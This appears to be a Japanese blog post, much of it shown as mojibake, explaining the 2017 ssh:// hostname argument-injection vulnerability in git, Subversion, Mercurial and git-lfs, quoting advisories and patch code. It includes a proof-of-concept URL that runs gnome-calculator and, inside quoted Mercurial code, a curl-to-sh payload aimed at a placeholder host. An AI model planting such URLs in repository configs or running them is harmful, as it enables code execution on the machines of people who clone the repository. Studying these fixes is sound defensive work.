Compromise On Checkout - Vulnerabilities in SCM Tools · The Recurity Lablog
ssh://-oProxyCommand=gnome-calculator/wat
ã¨ãããããªssh URLãå¦çãããã¨ãã¦ã
ssh <ãã¹ãå> ...
ã®ãããªå½¢å¼ã§æ¸¡ãã¨
ssh -oProxyCommand=gnome-calculator ...
ã¨ãªã£ã¦ãgnome-calculatorãå®è¡ããã¦ãã¾ãã¨ãã話ã
ãã®ssh URLãç´æ¥gitã³ãã³ãã®å¼æ°ã¨ãã¦æ¸¡ãã®ã§ããã°ããæ°ä»ãã ãããããã®URLã¯git-lfsã®.lfsconfigãgit submoduleã®.gitmodulesã«è¨è¿°
ãããã¨ãã§ããã®ã§ãURLãç¨ãã¦ã ãã§ã¯ãªãã1ã³ãããããã®ãããªå
容ãå«ãã§ããã°æ»æã§ãã¦ãã¾ãã
ã¨ã¯ãããlfsãsubmoduleãè¨å®ããã³ãããã¯å¤§ããªå¤æ´ãªã®ã§ãé常ã¯ãã£ãããã§ãã¯ãããã ãããã©ã
ãã¨ãã¨ã2004å¹´ãããã«Macã®Safariã®URLãã³ãã©ã®èå¼±æ§ã¨ãã¦似たようなものã¯ãã£ããããªã
Argument injection vulnerability in the SSH URI handler for Safari on Mac OS 10.3.3 and earlier allows remote attackers to (1) execute arbitrary code via the ProxyCommand option or (2) conduct port forwarding via the -R option.
ã§ã調ã¹ã¦ã¿ãã¨ãgitã ãã§ã¯ãªãsvnãmercurialã«ãåæ§ã®èå¼±æ§ããã£ããããªã
it could be confirmed that SVN was affected in the worst way: SVN follows HTTP 301 redirects to svn+ssh:// URLs. As a result, an innocent looking HTTP URL can be used to trigger a Command Execution with a 301 redirect.
svnã®å ´åã¯httpâsshã¸ã®ãªãã¤ã¬ã¯ããéãã¦ãã¾ããããªã®ã§ãããã¯æããªã
ä¿®æ£ã¯gitãsvnãmercurialã¯"-"ã§å§ã¾ããã¹ãåãå¼¾ãã¨ãããã®ã
gitã¯2.1.14.1で修正。
* A "ssh://..." URL can result in a "ssh" command line with a
hostname that begins with a dash "-", which would cause the "ssh"
command to instead (mis)treat it as an option. This is now
prevented by forbidding such a hostname (which should not impact
any real-world usage).* Similarly, when GIT_PROXY_COMMAND is configured, the command is
run with host and port that are parsed out from "ssh://..." URL;
a poorly written GIT_PROXY_COMMAND could be tricked into treating
a string that begins with a dash "-" as an option. This is now
prevented by forbidding such a hostname and port number (again,
which should not impact any real-world usage).* In the same spirit, a repository name that begins with a dash "-"
is also forbidden now.
このコミットã¨ãããªãlooks_like_command_line_optionã§"-"å§ã¾ãã®ãã¹ãåããã§ãã¯ãå¼¾ãããã«ãã¦ããã
"-"å§ã¾ãã®ãã¹ãåãå¼¾ãã¦ãåé¡ãªãã®ã ã£ãã¨æã£ãããRFC 952ã«ããã¦ããã¹ãåã¯"-"ã§å§ã¾ã£ã¦ã¯ãªããªãã¨ãã¦ããã
<hname> ::= <name>*["."<name>] <name> ::= <let>[*[<let-or-digit-or-hyphen>]<let-or-digit>]
hnameããã¹ãåãæåã¯let(letter)ã§ãªãã¨ãããªãã
This is a stable security release of the Apache Subversion open source
version control system. It fixes one security issue:CVE-2017-9800:
Arbitrary code execution on clients through malicious svn+ssh URLs in
svn:externals and svn:sync-from-url
http://subversion.apache.org/security/CVE-2017-9800-advisory.txt
ここã«ããããè¨è¿°ããã¦ãããis_valid_hostinfoã§"-"å§ã¾ãã®ãã¹ãåãå¼¾ãã¦ããã
1. Mercurial 4.3 / 4.3.1 (2017-08-10)
....
1.3. CVE-2017-1000116Mercurial was not sanitizing hostnames passed to ssh, allowing shell injection attacks on clients by specifying a hostname starting with -oProxyCommand. This is also present in Git (CVE-2017-1000117) and Subversion (CVE-2017-9800), so please patch those tools as well if you have them installed.
このファイルã®checksafesshã§ãã§ãã¯ããã¦ããã
def checksafessh(path): """check if a path / url is a potentially unsafe ssh exploit (SEC) This is a sanity check for ssh urls. ssh will parse the first item as an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path. Let's prevent these potentially exploited urls entirely and warn the user. Raises an error.Abort when the url is unsafe. """ path = urlreq.unquote(path) if path.startswith('ssh://-') or path.startswith('svn+ssh://-'): raise error.Abort(_('potentially unsafe url: %r') % (path,))
git-lfsã¯2.1.1で修正されている。
Git LFS v2.1.1 ships with bug fixes and a security patch fixing a remote code
execution vulnerability exploitable by setting a SSH remote via your
repository's .lfsconfig to contain the string "-oProxyCommand". This
vulnerability is only exploitable if an attacker has write access to your
repository, or you clone a repository with a .lfsconfig file containing that
string.
ãã®ãã«ãªã¯ããªã
ä»ã®ã½ããã®ä¿®æ£ã¨ã¯ç°ãªãã"-"ãå¼¾ããã«"--"ã追å ãã¦ããªãã·ã§ã³ã®å¼æ°ã¯çµäºããã¨sshã¯ã©ã¤ã¢ã³ãã«æ示ããããã«ãã¦ããã